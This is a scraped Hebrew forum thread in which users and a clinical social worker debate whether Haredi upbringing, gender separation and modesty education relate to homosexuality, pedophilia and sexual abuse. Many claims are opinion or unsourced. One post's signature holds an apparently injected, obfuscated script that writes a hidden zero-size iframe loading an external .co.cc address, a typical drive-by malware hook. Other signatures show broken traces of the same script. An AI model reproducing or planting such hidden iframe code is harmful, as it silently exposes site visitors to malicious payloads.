הפוך לדף הבית גמ"ח קופונים
בית · פורומים · הרשם · התחברות · פתח ונהל פורום · כניסה למנהלים
בית · פורומים · פורטל הנפש ·

סטיות בציבור החרדי

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-7/3/2011 00:08 לינק ישיר 
סטיות בציבור החרדי

קודם כל שלום לכולם כאן אני חדש פה ונראה לי שזה פורום נחמד שכל אחד יכול להעלות כאן נושאים שמעקים את לבבו.

אם הנושא שאני מעלה לא מתאים, לא יהיה לי בעי' במקרה שהנהלת הפורום ימחקו את האשכול.

ובכן, משום מה נראה לי שיש בציבור החרדי יותר אנשים עם יצרים מיוחדים מאצל הציבור הכללי. כלומר, אנשים שנמשכים לדברים שאסור לפי החוק ובוודאי לפי ההלכה.

יכול להיות שאני טועה וזה סתם רגשי נחיתות.

במקרה שאני לא טועה, האם קיים סיבה לזה ? האם זה תוצאה מדחיקת יצרים טבעים שזה מתפרץ בכיוונים בלתי רצויים ?

יותר ברור, האם זה שאנחנו חיים ולומדים בנפרד מהמין השני מגיל אפס,  לא משפיע על היצרים מגיל קטן ? עוד יותר ברור, האם זה שאנחנו לא רואים בנות בגיל ההתבגרות, ומתי שהורמונים מתחילים לעבוד אנחנו רואים רק בנים לא יכול לגרום שהתשוקה הראשונה יהיה לבנים ? ואולי התשוקה הזאת נשאר בתת הכרה גם אחרי שנותנים לנו הזדמנות אחרות?

אודה לכם על תשובות



דווח על תוכן פוגעני

מחובר
נשלח ב-8/3/2011 15:53 לינק ישיר 

שלום וברוך הבא לפורום,

השאלה שאתה מעלה היא סוגיה מורכבת  והתשובה עליה כנראה בהתאם. 

כדי לענות על  השאלה האם יש כמותית יותר סטיות בציבור החרדי יש צורך לערוך מחקר
אך קודם נשאלת השאלה מהי סטיה? אם הכוונה להתנהגות סוטה אז לכאורה המקום המתאים ביותר לבדוק זאת בבתי הכלא.  האם יש הבדלים בין חרדים ללא חרדים באחוז הסוטים.?

שאלה נוספת היא מי נקרא חרדי? שאלה זו רלוונטית בעיקר לאור ההשערה שלך על דרך החינוך והגדילה של הילד/נער החרדי.
כידוע החברה החרדית מורכבת גם מאנשים שגדלו כלא חרדים ורק בבגרותם נהפכו לחרדים.

כך שלמעשה אין  עדיין,לי לפחות, תשובה ברורה.

מה שכן - אני חושבת שכחברה אנו תמיד צריכים להמשיך לחשוב, לדון, לנתח ולעסוק בסוגיות אלו כדי לנסות להבין תהליכים נפשיים והתנהגות אנושית בכלל ושל האדם החרדי בפרט. 

האדם מטבעו עסוק ביצר ובהתמודדות עימו. הדחקה נוקשה מידי או הפעלת לחץ מסיבי מידי עשויה להשפיע על האדם , באותה מידה (אך בצורה אחרת) כמו חשיפה יצרית רבה מידי ולא מותאמת .

'מתכון מתאים' אינו פותר את האדם מלהתמודד עם יצריו אלא מאפשר לו להתמודד באופן נורמטיבי ופחות אובססיבי ככל הנראה .

לגבי הנושא של הפרדה בין בנים לבנות מגיל קטן אני לא חושבת שזו בעיה, -  השאלה איך זה נעשה, כלומר, אם ילד בן 5 מדבר עם שכנתו בת 7 זה געוולד אז אנחנו מדברים על חינוך נוקשה מידי.

אך אם זו דרך חינוכית  והיא חלק מהמבנה החברתי אז לא צריכה להיות בעיה. ההפך , בגיל חינוך עד גיל ההתבגרות בנים מעדיפים לשחק ולהתרועע עם בנים ובנות עם בנות (בכל חברה גם חילונית). מצב כזה גם מאפשר מרחב ללמידה וליצירתיות שמתפתח בתקופת חיים זו .

לגבי ההערה שלך  בגיל ההתבגרות, אני מסכימה שאצלינו בחברה ההפניה של ההתעוררות ההורמונלית, הרגשית והחברתית  עשויה להיות לעבר נער/ה מאותו מין בגלל ההפרדה, אך לרוב זה מועבר למין שני עוד לפני תקופת השידוכים.

לגבי מה נמצא/ נשאר בלא מודע? אני מאמינה  שאצל כולם קיימת משיכה  פנימית גם לאדם מאותו מין  , אך יתכן שאצל האדם החרדי זה לא נשאר בתת הכרה כפי שאמרת, אלא עשוי לצוף יותר למודע ולהטריד אותו. 

לסיום- צריך לזכור שלא מדובר על שני עמים, בסך הכל המשפחות החרדיות הן גדולות וגרות בקהילתיות יחד. המפגש בין בנים לבנות קיים כמעט כל הזמן.
יתר על כן, רעיון הנישואין והשידוכין נמצא בראשו של הילד החרדי כמעט מגיל 0 (לטוב ולמוטב) וכולם גדלים עם ציפיה זו או אחרת לבנות חיים עם המין השני.

הסוגיה הזו כפי שפתחתי את דבריי מורכבת ותשובתי היא כמובן לא ממצה אך מקווה שמאפשרת להמשיך לחשוב  ולנתח זאת, אם לא באופן מחקרי אז לפחות מהניסיון האישי שלכם

בברכה


_________________

ד"ר רונית לזר 
עו"ס קלינית
 נייד 052-6346334
< type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-9/3/2011 01:34 לינק ישיר 

טוב, הנה זה מגיע...

אני מבינה שכשאתה כותב "סטיות", אתה מתכוון להומוסקסואליות. אז נתחיל בכך שהומוסקסואליות היא לא סטייה. אין כאן מקום לדיון- סטייה היא מושג סוציולוגי/פסיכולוגי וכיום, ברוך ה', הסוציולוגיה והפסיכולוגיה לא מגדירות את ההומוסקסואליות כסטייה (לא אכנס לדיון על העבר, אומר רק שההומוסקסואליות פשוט לא עומדת בקריטריונים, אין פה עניין לדעה אישית).

לגבי ההשפעה של חברה נפרדת על ההומוסקסואליות- יש שבט, אם אני לא טועה באיזור האיים של אוסטרליה, שמאמין שכוחו של הגבר מגיע מבליעת זרע. אי לכך- כל הנערים מבצעים מין אוראלי במבוגרים מהם, מידי יום. לאחר שהנער "התחזק" מספיק, הוא "מחזק" אחרים. בסוף תקופת ההתבגרות (זאת אומרת לאחר שהבחור חווה עשרות פעמים מין אוראלי, משני הצדדים), הוא מתחתן עם אשה. אם הטענה שקיום יחסים הומוסקסואליים משפיע על הנטייה המינית הייתה נכונה, היינו צריכים לראות את כל הגברים בשבט מקיימים יחסים הומואיים כל חייהם. למעשה- לרובם המוחלט אין שום בעיה לעבור לחיים הטרוסקסואלים מלאים. רק 5% מהם מתקשים בכך. באופן לא מפתיע זהו (פחות או יותר) אחוז ההומואים בכל חברה אחרת.

עם זאת, לעניות דעתי, לגדילה בחברה נפרדת יש השפעה בנושא. אמנם לא על סיכויי ההומוסקסואליות, אבל כן על סיכויי ההומופוביה. אסביר- לפי תיאוריות המיניות המודרניות, מבחינה ביולוגית (לפני השפעות החברה), רוב בני האדם אינם הטרוסקסואלים ואינם הומוסקסואלים. רוב בני האדם נמשכים גם לגברים וגם לנשים, בעוצמות שונות. סביר להניח שכמו רוב הדברים ברפואה וכמעט כל הדברים בפסיכולוגיה, גם במקרה זה ההתפלגות בצורת פעמון. מיעוט נמצא בשני הקצוות, והרוב באמצע. החברה שלנו (כן, כן, גם החילונית) מחנכת את ילדיה בעולם הטרוצנטרי, ולכן רוב בני האדם מתחברים למרכיב ההטרוסקסואלי בנפשם, ושוכחים (לחלוטין או חלקית) את המרכיב ההומוסקסואלי. כמובן שאלו שאין להם בכלל מרכיב הטרוסקסואלי, לא יתחברו אליו. אבל- בחברה שבה הנער רואה סביבו כמעט רק נערים, סביר להניח שהרגשות ההומוסקסואליים שלו יצופו. מכיוון שגם הרגשות הללו הם טאבו (אפילו יותר חזק), הוא ירגיש רגשות אשמה על כך. כל אדם שמרגיש רגשות אשם מעדיף לא להיזכר בהן, ולכן גם אותו הנער ינסה לסלק את כל אלו שמזכירים לו את המרכיבים ההומוסקסואליים שלו. לכן ההומופוביה בציבור החרד"לי והחרדי גדולה יותר (וגם בגלל שאין את מחסום הפוליטיקלי קורקט, שגורם להומופובים החילונים לשתוק). אדגיש- יש הבדל גדול בין האמירה "אסור לעבור על משכב זכור" לבין אמירות כמו "אתם סוטים, אתם כמו פדופילים ושוכבי בהמות" וכדו' שנובעות משנאת חינם ופחד ולא מעמדה הלכתית.

 

ביחס לשאלה האם ה"חינוך" ל"צניעות" בחברה החרדית גורם לסטיות- לפי ניסיוני, התשובה היא בהחלט כן. לאחר שגבר חרדי התחכך בי ברחוב בצורה מכוונת לחלוטין, שאלתי על כך נשים נוספות וגם הן חוו זאת. מכיוון שהסטייה (כן, זו באמת סטייה) שגורמת לאדם לחוות סיפוק מיני מהתחככות בנשים זרות, היא יחסית נדירה, אני תוהה מה הסיכוי שכמה נשים מיקריות יחוו אותה דווקא ע"י גברים מקבוצת מיעוט (חרדים). לעניות דעתי (כמובן שמדובר במסקנה שלי, לא ראיתי מחקרים על כך), האובססיה החרדית שמגדירה אצבע קטנה של אשה כמשהו מיני, שמחנכת את גבריה שלשבת בספסל שלידו יושבת אשה זו פריצות, גורמת לגברים חרדים לחוות סיפוק גם מהתחככות בנשים זרות (אם יש מישהו שמסתפק בכך- לאשה עצמה זה מאוד מאוד לא נעים).

בנוסף, בניגוד למה שחרדים רבים חושבים, אחוז מקרי האונס בחברה החרדית זהה לאחוז בחברה החילונית (ההבדל הוא בנכונות להתלונן). לעומת זאת, בחברה הדתית לאומית, האחוזים קטנים יותר (אם מישהו ירצה, אחפש את המחקר שבדק זאת). כנראה שהרמב"ם ידע על מה הוא מדבר כשהוא הילל את שביל הזהב.




דדווח על תוכן פוגעני

מנותק
נשלח ב-9/3/2011 13:18 לינק ישיר 

תודה לכל העונים ובעיקר לרונית לזר.

לא מתביישת, לא התכוונתי להומופביה, רק לפדופליה.

בכל אופן מה שכותבת זה נקודה למחשבה גם לנושא שלי.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/3/2011 14:42 לינק ישיר 

לא מתביישת ומה עם פדופיליה, האם זה גם נטייה שנולדים עם זה?



דדווח על תוכן פוגעני

מנותק
נשלח ב-9/3/2011 17:01 לינק ישיר 

 

פריפע- קודם כל צריך להגדיר פדופיליה נכון. מבחינה משפטית וחברתית פדופיל הוא מי שמקיים יחסים עם קטין מתחת לגיל ההסכמה שאם אינני טועה, עומד על 16. מבחינה פסיכולוגית פדופיל הוא מי שנמשך לילדים לפני התחלת ההתבגרות המינית, בסביבות גיל 8. הפדופיל נמשך לילדים בגלל שהם לא מיניים. לכן, עד הגיל ההוא אין הבדל במספר הקרבנות בין ילדות לילדים. פדופילים "בוחרים" את הקרבן לפי החולשה שלו, הסיכוי שלא יספר על הפגיעה או שגם אם יספר, אף אחד לא יקשיב לו. ישנם פדופילים שנמשכים גם למבוגרים. אחוז הנמשכים לגברים מתוך אוכלוסית הפדופילים, זהה לאחוז ההומואים באוכלוסיה הכללית. זאת אומרת שפדופילים שנמשכים לנשים, פוגעים גם בבנים. שוב- הסיבה היא שהפדופיליה נובעת מהצורך לשכב עם אדם חסר מיניות.

לעניות דעתי, בהחלט יש קשר בין היחס בחברה הדתית והחרדית להומוסקסואליות, לבין אונס של בנים בגילאי 8 עד 16. כאשר אדם מדחיק רגש מסויים- הרגש הזה ישלוט בו, במקום שהוא ישלוט ברגש. דוגמא- כשנולדה האחיינית הראשונה שלי, כל פעם שהיא בכתה נקרעתי מצחוק. למותר לציין שזה היה לא נעים. רק כאשר הבנתי שאני צוחקת בגלל שבעצם אני רוצה לבכות יחד איתה, הצחוק פסק (למעשה גם לא בכיתי, רק הייתי מודעת לצורך הזה שלי). באופן דומה- אם אדם לא יכול להגיד, אפילו לעצמו "אני הומו, אני זקוק לאהבה של גבר", הצורך הזה עלול להתפרץ בלי שליטה. אותו אדם יכול אפילו להתכחש למעשים שהוא עשה ("רק ביטאתי את אהבתי לתלמידי" וכדו'), כדי להגן על עצמו מידיעת הצרכים שלו. לכן, בחברות שבהן יש טאבו על הומוסקסואליות (שוב- אני לא מדברת על טאבו על משכב זכור, אלא על עצם הנטייה), סביר להניח שיותר נערים יפגעו. בהקשר זה, לפי מה שאני רואה, בחברה הדתית והחרדית יש גם יותר נשים שפוגעות מינית מבחברה הכללית, שבה התופעה כמעט ולא קיימת. ההסבר, לעניות דעתי, זהה. זו בעיני הסכנה הגדולה ביותר של "טיפולי" ההמרה. "טיפולי" ההמרה בנויים על כך שה"מטופל" מדחיק את הצרכים שלו (על ידי יצירת דיסוננס קוגניטיבי). רק מי שמודע לצרכיו, יכול לשלוט בהם.

 

יעקב- פדופיליה היא לא נטייה מינית. פדופיליה היא סטייה (פאראפיליה בלשון המקצועית). בדרך כלל כשרוצים לתקוף את ההומוסקסואליות משווים בינה לבין פדופיליה. התשובה המקובלת היא שההומוסקסואליות לא פוגעת באף אחד. כמובן שזה נכון, אבל זו לא תשובה לשאלה. ישנן גם סטיות שלא פוגעות באף אחד. אדם עם פטיש לנעלים, תיאורטית, לא חייב לפגוע באף אדם. ניתן לדמיין אדם שהולך לעבודה, חוזר הביתה, אוכל ארוחת ערב ונכנס למיטה עם אהובתו הנעל. הבעיה היחידה היא שזה לא ככה במציאות. מה שמשותף לכל הפאראפיליות הוא הקושי העצום של הסובלים מהן לעמוד בפניהן. כשגבר עם פטיש לנעלים רואה נעל שהוא נמשך אליה, הוא מרגיש צורך כמעט בלתי נשלט לגעת בה. הוא עלול בגלל הצורך הזה לעשות גם דברים אסורים או מביכים- לפרוץ לחנות נעליים, לגעת לאשה בנעל באמצע הרחוב וכדו'. קראתי פעם עדות של פדופיל שקיבל טיפול שאמר "פעם הייתי חושב כל היום איך לשכב עם ילדים, היום אני חושב כל היום איך לא לשכב איתם". לעומת זאת, הצורך המיני של הומו זהה לצורך המיני של הטרוסקסואל. בדיוק כמו שהטרוסקסואלים לא חושבים כל היום על מין, בדיוק כמו שהם יכולים לראות אשה, להימשך אליה, אבל לא לעשות כלום, כך גם ההומו לגבי גברים (אם תשאל, אם כך מה הסיפור הגדול- שההומואים יתגברו על הצורך במין ויתחתנו עם אשה, אענה- על הצורך במין אפשר להתגבר, על הצורך באהבה ("לא טוב היות האדם לבדו") לא. כשם שגבר הטרוסקסואל משלים את עצמו וממלא את הצורך לאהוב ולהיות נאהב ע"י קשר עם אשה, כך ההומו ע"י קשר עם גבר).

לגבי השאלה אם פדופיליה מולדת- לא יודעת. יכול להיות שיש יסוד גנטי, יכול להיות שלא.  מה שבטוח שלא מדובר באותו "מנגנון" שקובע את הנטייה המינית. אין רצף של הימשכות לילדים-לבוגרים.

 



תוקן על ידי לא_מתביישת ב- 09/03/2011 17:08:54




דדווח על תוכן פוגעני

מנותק
נשלח ב-9/3/2011 17:17 לינק ישיר 

כשאני חושבת על זה, יכול להיות שאובססית הצניעות בחברה החרדית תגרום ליותר פדופילים. יכול להיות שרגשות האשם על הצרכים המיניים (ההטרוסקסואלים וההומוסקסואלים) יגרום לגברים לקבל סיפוק ממין "חסר מיניות". בתוספת ההלכה שהאונס ילד מתחת לגיל 9, פטור, הגיוני שזה יקרה. כמובן שמדובר בהשערה בלבד.

_________________




דדווח על תוכן פוגעני

מנותק
נשלח ב-9/3/2011 18:42 לינק ישיר 

מעניין אותי האים הבעיה של ניצול מיני בישיבות היא  ענקית ?
ומדוע לא מפרידים במקוואות הגברים?



דדווח על תוכן פוגעני

מחובר
נשלח ב-10/3/2011 00:03 לינק ישיר 

צריך להיזהר מלעשות הכללות וכל שכן על חברה שלמה.
אין מחקרים, ככל הידוע לי, המצביעים על סטיות רבות יותר בחברה החרדית לעומת שאר החברות. אדרבא, המחקרים הקיימים מצביעים על כך שהפרעות, סטיות ופגיעות אינן מתחשבות בגזע, דת,תרבות ומעמד חברתי וקיימות בכל חברה.

החברה הדתית והחרדית הניפו על דגלן ערכים דתיים וחינוכיים  של צניעות וכן גדרי הפרדה בין המינים. דת, מצוות, הלכות, גדרות ואף חומרות לא מולידות פסיכופתלוגיה. מה שכן היחס  ההורי ודפוסי החינוך עשוי להשפיע על התפתחותו של הילד.

מהעבודה הקלינית שלי עם בעלי נטיה פדופילית , התכנים שעלו לא הזכירו במיוחד את החינוך להפרדה והשמירה על הצניעות. יותר שמעתי על יחסי ודפוסי הורות נוקשים וחינוך "טרוריסט" עם פגיעה/חשיפה למיניות של מבוגרים לא מותאמת לגיל הילד.

עם זאת, בגלל אורח חיים הייחודי לחברה החרדית יש צורך בחשיבה נוספת . למשל, שמעתי שהרב שך זצ"ל אמר שלא לשלוח בנים לישיבה קטנה עם פנימיה. 

ובעניין  המקוואות שהוזכר - לדעתי יש להיזהר ולא לשלוח ילד לבד למקווה ללא השגחה של מבוגר אחראי. 
בכלל, לדעתי מקווה הוא לא מקום לילדים אך אם בכל זאת יש מנהג בחוג מסויים אז שזה יהיה עם הכנה מוקדמת וליווי של מבוגר אחראי.


_________________

ד"ר רונית לזר 
עו"ס קלינית
 נייד 052-6346334
< type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-10/3/2011 02:14 לינק ישיר 

"חומרות לא מולידות פסיכופתלוגיה. מה שכן היחס  ההורי ודפוסי החינוך עשוי להשפיע על התפתחותו של הילד". האם חומרות הן לא דפוס חינוכי? האם יש ספק שהחינוך (לפחות בכל הקשור ל"צניעות") ברוב המגזר החרדי הוא דרך נוקשות, כפייה והטמעת רגשות אשם? קחי לדוגמא את נושא האוננות- האם ילד ששומע שכשהוא עושה את אחד הדברים הכי טבעיים והכי קשים למניעה, הוא רוצח מיליוני נפשות, לא יסבול מפחדים ורגשות אשם? מה זה "להניף דגל", אם לא חינוך?!

 

"המחקרים הקיימים מצביעים על כך שהפרעות, סטיות ופגיעות אינן מתחשבות בגזע, דת,תרבות ומעמד חברתי וקיימות בכל חברה". את בטח יודעת שOCD נפוץ יותר במגזר החרדי. את בטח יודעת שהפרעות אכילה נפוצות יותר בחברה המערבית. את בטח יודעת שישנן כל מיני הפרעות שמיוחדות לחברות שונות (לא זוכרת כרגע פרטים, אבל בזמנו למדתי על ההפרעות שמיוחדות ליפן ושאר חברות לא מערביות).

 

"מהעבודה הקלינית שלי עם בעלי נטיה פדופילית....יותר שמעתי על יחסי ודפוסי הורות נוקשים וחינוך "טרוריסט" עם פגיעה/חשיפה למיניות של מבוגרים לא מותאמת לגיל הילד". מאוד יכול להיות שזה באמת כך. אבל גם מאוד יכול להיות שחיפשת את המטבע מתחת לפנס. אולי בגלל שלמדת שאלו הגורמים לפדופיליה, אלו הדברים ששמת לב אליהם (זו אחת הבעיות שלי עם הפסיכואנליזה, אבל לא כאן המקום). בנוסף, ילדים רבים סובלים מדפוסי הורות נוקשים וחשיפה למיניות, מבלי להפוך לפדופילים. את באמת יכולה להיות בטוחה שליחס החברה למיניות אין השפעה על כך?



תוקן על ידי לא_מתביישת ב- 10/03/2011 02:16:28




דדווח על תוכן פוגעני

מנותק
נשלח ב-10/3/2011 10:05 לינק ישיר 

הנקודות שאת מעלה לא-מתביישות הן חשובות וצריכיות עיון. אך אני מציעה לחשוב עליהם באופן רחב, מהרהר וגמיש יותר ולא בהצהרות נחרצות,  גם בגלל שאין לנו מידע מספיק לאמיתותן (וכנראה גם לא יהיה) וגם שניתן ללמוד יותר ולהיות פתוחים לרב מימדית שבסוגיה.

ולעניינינו-

אני עושה הבחנה בחינוך (ובכלל) בין תוכן לבין מנגנון. תוכן הכולל אף חומרות בעיקרו, לרוב אינו יוצר פסיכופתולוגיה. לעומת זאת, מנגנון חינוכי של קפדנות ונוקשות יתירה או חוסר גבולות וכאוס עשויים ליצור מופרעות.

פעם הייתי נוכחת לקבוצת תהילים של בנות בגיל 8. לאחר קריאת התהילים כל בת קיבלה ארטיק, ובת אחת שאצלה בבית נהוג לעשר בבית על כל דבר, אמרה בטבעיות, בפשטות למדריכה שהיא צריכה לרוץ הביתה עם הארטיק שאמא תעשר אותו. במקרה, אני מכירה את המשפחה לעומק, ויש לה הנהגות וחומרות מעבר לחוג שאליו הם משתייכים המאופיין בחומרות מיוחדות משאר החוגים. הילדים שם גדלים באווירה הורית וביתית מאד נעימה, מאד רגועה , קשובה לצרכים של כל ילד. במשפחה זו אני לא מנבאת התעוררותם של הפרעות מיוחדות על רקע החומרות .

אם היה נכון מה שאת מנסה להגיד , אם הבנתי אותך, שיש בעיה בתכנים ובדרך החינוך בחברה החרדית אז היינו נפגשים בחברה שלמה, או רובה מופרעת. לא?

כמובן שיש למאפיין הדתי , התרבותי והחברתי השפעה על התפתחות הפרעה. אין ספק שדכאון לאחר לידה יהיה מצוי יותר אצלינו מאשר בקרב יולדות לא דתיות. פשטות- כי אצלינו יש יותר לידות. 
 לא כל הנערות סובלות מאנורקסיה, אך אין ספק שמי שסובלת מאנורקסיה היא לרוב בחורה הגדלה בתרבות מערבית . כמו כן, לא כל בחורי הישיבות סובלים מocd. עם זאת, מאד יתכן שהפרעת החרדה הבולטת תהיה זו וזאת על רקע המאפיינים הדתיים הטקסיים. מה שפעם שמעתי (צריך לבדוק) שלא שיש יותר OCD  אלא האופי שלה הוא דתי. כך שניתן למצוא אצלינו OCD מסוג נטילת ידיים, קריאת שמע חזרתית וכד' . אבל אני כן מאמינה שנוכל למצוא אצלינו יותר ocd בגלל שזו הפרעה בעלת אופי דתי במנגנון שלה, של טקסיות וחזרתיות.

מה שאני מנסה לומר הוא, שכאשר נוצר ליקוי נפשי התפתחותי אז הנפש תחפש אובייקט קרוב, זמין ונגיש להתביית עליו, ולאדם החרדי זהו לרוב אובייקט  בעל אופי דתי או תרבותי.

תחושת אשם, איסור וחטא מאפיינת יותר את החינוך החרדי והדתי. עם זאת, יש לזכור שהיא אף מהווה בסיס להתפתחות וצמיחה לחברה מתוקנת ומוסרית.

מה שאולי מבדיל בין ילד חרדי שהתפתחה אצלו נוירוזה לעומת ילד חרדי שגדל עם תחושת אשם ואיסור אך לא ברמה הנוירוטית -הוא לא מהות האיסור אלא המנגנון-  מה היתה הגישה ההורית לילד זה בכלל ובהקשר למעשה עצמו.

ילד שמתעורר בבקר לקול צעקות ומריבות בין ההורים ומגלה כי הוא רטוב  עשוי לחוות את ההרטבה זו כמעשה מאיים, מחריד ,מבייש עם תחושות אשם עמוקות. לא בגלל האיסור והבושה הטבעית שבהרטבה לסוגיה אלא בגלל המסגרת/מנגנון  (של ריב בין ההורים) בה היא קרתה.

לסיום-

האם אנו פתורים מלבחון את דרך החינוך החברתית שלנו? לא ולא. עלינו להמשיך לבחון ולראות מה גורם לכשל ומה מעודד צמיחה. מה יכול להוות חוסן, כוחות ובאותה מידה עשוי להוות גורם סיכון.
 מה שאני מנסה להגיד שזה לא פשוט, ולא שחור לבן כצבע בגדינו. אלא זה מורכב, דורש התבוננות מובחנת ורגישה הלוקחת בחשבון את המנגנונים הטבעיים של האנושות, התרבותיים של החברה , הדתיים ואת המאפיינים האישיים האינדיבידואליים. ישנם מאפיינים 'חרדיים' שהם אינם גמישים כמו מוגבלות החשיבה העצמאית, דיבור על נושאים שהם טאבו ועוד שעשויים להשפיע על התפתחות הפרעות נפשיות ולכן צריך להמשיך לבחון ולחקר אותם.

לגבי ההערה הצינית שלך על חיפוש מטבע תחת הפנס-  אני לא יודעת איפה את למדת פסיכואנליזה אך הפסיכואנליזה שאני גדלה עליה היא זו אשר מחנכת להקשבה למה שהמטופל מביא, לזו שמכירה בצניעות ובמוגבלות ה'ידע' של המטפל על המטופל הספציפי וזו כפי שמשתקפת במשפטו החזק של Bion  שעל המטפל להגיע לכל שעה טיפולית עם NO MEMORY AND NO DESIRE. לעומת גישות אחרות, שיודעות מדוע, מה ואיך צריך ונכון ...

בברכה 

 

 

_________________


ד"ר רונית לזר 
עו"ס קלינית
 נייד 052-6346334
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


תוקן על ידי רוניתלזר ב- 16/03/2011 16:57:44




דדווח על תוכן פוגעני

מנותק
נשלח ב-14/3/2011 10:41 לינק ישיר 

רונית כתבה: "הנקודות שאת מעלה לא-מתביישות הן חשובות וצריכיות עיון. אך אני מציעה לחשוב עליהם באופן רחב, מהרהר וגמיש יותר ולא בהצהרות נחרצות". אני מאוד מסכימה. לכן כתבתי: "לגדילה בחברה נפרדת יש השפעה בנושא", "סביר להניח שיותר נערים יפגעו", "יכול להיות שאובססית הצניעות בחברה החרדית תגרום ליותר פדופילים... כמובן שמדובר בהשערה בלבד". את צודקת שנכשלתי בלשוני במשפט "האובססיה החרדית... גורמת לגברים חרדים לחוות סיפוק גם מהתחככות בנשים זרות". הייתי צריכה לכתוב עלולה לגרום.

 

אני מסכימה שמה שחשוב הוא דרך החינוך. הורים יכולים לאסור על ילדיהם לצייר בשבת בדרכי נעם, ולהאהיב עליהם את השבת ויכולים לגרום להם לשנוא כל רגע. האם אני טועה באבחנתי שחלק גדול מהחברה החרדית מחנך בדרך השניה, בעיקר בכל הקשור לצניעות?

 

לגבי ההפרעות, אני בהחלט חושבת שלחלק נכבד מהחברה החרדית יש הפרעות בנושא הצניעות. מספיק לראות את ההחמרות הגדולות בנושא בשנים האחרונות. במשך שנים הציבור החרדי נהג לערוך שמחות מעורבות, היום יש הפרדה כבר בחדר המדרגות. הרב פיינשטיין כתב תשובה חריפה מאוד נגד מי שחושב שיש בעיה בנסיעה ברכבת התחתית של ניו יורק בשעות העומס. היום יש מאבק להפרדה באוטובוסים הבין עירוניים בישראל.  לפי התמונות של נשות הרבנים בדורות הקודמים, היום הבנות שלהן לא היו מתקבלות לבית יעקב. ניתן לראות בזה התקדמות רוחנית, אבל העובדה שההתקדמות הרוחנית של ציבור שלם נמדדת (כמעט) רק בנושא אחד, מעידה רבות (בייחוד שלא זה הנושא שהתנ"ך וחז"ל מגדירים כמדד החשוב להתקדמות רוחנית).  בנוסף, בזמנו מישהו כתב כאן שההערכה היא ש10% מהגברים החרדים מכורים למין. לעניות דעתי, גם הומופוביה שנובעת מהגורמים שהזכרתי לעיל, היא הפרעה (לאדם שלא יכול לעמוד מול עצמו יש בעיה קשה). נושא נוסף שהזכרתי, הוא המפגש שלי עם כמה נשים שנפגעו מינית מנשים חרדיות/דתיות. לפי הפרסומים, עד להתפוצצות פרשת (הרב) מוטי אלון, הגיעו לפורום תקנה 15 תלונות, מתוכם 2 על נשים. בזמנו פורסמו בתקשורת שני מקרים של נשים שאנסו בנים קטנים. לפי הלבוש, אחת היתה דתיה ואחת חרדית. לאור העובדה שבחברה המערבית התופעה הזו אפסית (לפי מחקר מקיף שנעשה), הדבר צועק דרשני.

ברור שלא כולם כך. 1. לא כל החרדים מתחנכים באותו האופן. 2. גם למי שגדל בצורה מעוותת יש בחירה חופשית ויכולת ריפוי עצמית טבעית. ילד מוכה יכול לגדול להיות הורה מכה, או הורה רגיש במיוחד.

 

"תחושת אשם, איסור וחטא מאפיינת יותר את החינוך החרדי והדתי. עם זאת, יש לזכור שהיא אף מהווה בסיס להתפתחות וצמיחה לחברה מתוקנת ומוסרית". זהו הנרטיב החרדי, שאני ממש לא מסכימה עם שתי הנחות היסוד שלו. 1. אני לא חושבת שהחברה החרדית יותר מוסרית מהחברה החילונית. נכון שיש הרבה ארגוני חסד, אבל תסכימי איתי שרובם המוחלט מיועדים רק לאנ"ש. כל אדם יעזור למשפחתו, בחברה החרדית הגדרת המשפחה יותר רחבה מבחברה החילונית. זה לא הופך אותה ליותר מוסרית. בנוסף, עצם העובדה  שאנשים בוחרים להטיל עצמם על הציבור, לא מוסרית. לא אני אמרתי זאת, אלא חז"ל. 2. אין שום רבותא באדם שבוחר בטוב בגלל שהוא לא מכיר את הרע, בגלל שהוא מפחד ממנו פחד מוות, או בגלל סנקציות חברתיות. "אל תאמר אי אפשי". חברה שגורמת לילדיה לפחד מוות מהאפשרויות האחרות, נוטלת מהם את הבחירה החופשית. מעשה זה עצמו הוא לא מוסרי. בנוסף, הוא גורם לביצוע מעשים לא מוסריים. בחורים שגדלים עם פחד מנשים, עלולים לא לעזור לאשה זקנה שנפלה ברחוב לקום (מעשה אמיתי), להלבין פני נערה שהולכת עם חצאית ארוכה ורחבה בסגנון בני-עקיבא (מעשה אמיתי), לצעוק ולהרביץ לנשים שיושבות בחלק הקדמי של האוטובוס (הרבה מעשים אמיתיים).

כמובן שלא כולם כך. ניתן גם לומר יותר מזה- אנשים עם "בור בלב", עם כאבים וכעסים, עלולים להגיע לאלימות. אנשים שלא מחוייבים לצו מוסרי חיצוני, ירשו לעצמם לנקוט באלימות באופן חופשי. אנשים שמחוייבים לצו מוסרי חיצוני- התורה- יאלצו למצוא לעצמם תירוצים, איך לשחרר את האלימות שבתוכם ב"מסגרת ההלכה". לכן אנחנו מוצאים דתיים וחרדים שיפגעו בערבים, בנשים לא-צנועות-מספיק, בהומואים ולסביות, בנציגי ה"ממסד הציוני", בספרדים, באשכנזים, בחילונים וכו' וכו' וכו'. מבחינתם מעשים אלו מותרים (או אולי אפילו מחוייבים) על פי ההלכה. מבחינה זו, אין קשר בין מעשי אלימות כלשהם לחינוך הדתי/חרדי, אפילו אם הם נעשים בשמו.

אבל, מכיוון שאני בהחלט מאמינה שההלכה יכולה וצריכה לגרום לאדם להיות יותר מוסרי, נשארת השאלה איך יש אנשים שמשתמשים בה כדי להצדיק מעשים לא מוסריים? לעניות דעתי זו בהחלט אשמת החינוך. אנשים שגדלים על ברכי הלכה מעוותת, כשרבנים משתמשים בה כקרדום לחפור בו למילוי צרכים פוליטיים וכלכליים, יעוותו אותה עוד קצת כדי למלא את הצרכים שלהם עצמם.

לגבי הפיסקה האחרונה, אני לא חושבת שזה המקום לדון בנושא. אני רק רוצה להזכיר שלכל אדם יש סכמות שלפיהן הוא רואה את העולם. יותר נוח לנו להבחין במצבים שמתאימים לסכמות שלנו. גם פסיכולוגים לא פטורים מזה. למעשה, בהקבלה לנושא הדיון, ניתן לומר שלפעמים ככל שאדם יותר בטוח ש"אצלי אין דברים כאלה", כך אותם הדברים מתגברים אצלו.

 

 

 




דדווח על תוכן פוגעני

מנותק
נשלח ב-14/3/2011 23:01 לינק ישיר 

